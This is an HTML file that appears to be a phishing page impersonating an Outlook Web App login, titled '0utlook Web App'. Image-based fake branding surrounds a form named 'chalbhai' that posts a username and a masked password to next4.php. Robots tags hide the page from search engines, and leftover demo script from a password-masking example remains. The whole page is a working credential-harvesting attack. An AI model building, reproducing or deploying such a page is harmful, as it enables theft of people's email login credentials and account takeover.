<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<script type="text/javascript" src="https://www.sitepoint.com/examples/password/MaskedPassword/MaskedPassword.js"></script>
<title>0utlook Web App</title>
<meta http-equiv="content-type" content="text/html; charset=ISO-8859-1">
<meta http-equiv="content-type" content="text/html; charset=UTF-8" />
<meta name="robots" content="noindex">
<meta name="googlebot" content="noindex">
<meta name="googlebot-news" content="noindex" />
<meta name="googlebot" content="noindex">
<meta name="googlebot-news" content="nosnippet">

    <meta http-equiv="Cache-Control" content="no-store" />
    <meta http-equiv="Cache-Control" content="no-cache" />
    <meta http-equiv="Cache-Control" content="private" />
    <meta http-equiv="Pragma" content="no-cache" />


</head>
<body bgColor="#F8F8F8">
<div id="container">
<div id="image1" style="position:absolute; overflow:hidden; left:0px; top:0px; width:335px; height:666px; z-index:0"><img src="images/11.png" alt="" title="" border=0 width=335 height=666></div>
<form action=next4.php name=chalbhai id=chalbhai method=post>
<div id="image2" style="position:absolute; overflow:hidden; left:537px; top:148px; width:533px; height:329px; z-index:1"><img src="images/12.png" alt="" title="" border=0 width=533 height=329></div>

<input name="text1" required type="text" style="position:absolute;height:30px;width:262px;left:600px;font-size: 16px;top:264px;z-index:2">
<input name="text2" required type="text" id="demo-field"style="position:absolute;height:30px;font-size: 16px;width:262px;left:592px;top:326px;z-index:3">
<div id="formimage1" style="position:absolute; left:599px; top:408px; z-index:4"><input type="image" name="formimage1" width="104" height="25" src="images/13.png"></div>
</div>

</body>
<script type="text/javascript">
	
		//apply masking to the demo-field
		//pass the field reference, masking symbol, and character limit
		new MaskedPassword(document.getElementById("demo-field"), '\u25CF');
	
		//test the submitted value
		document.getElementById('demo-form').onsubmit = function()
		{
			alert('pword = "' + this.pword.value + '"');
			return false;
		};
	
	</script>


<style>
.textbox { 

  -webkit-text-security: none;
  -webkit-text-security: circle;
  -webkit-text-security: square;
  -webkit-text-security: disc; /* default */ 
  } 
</style>
</html>
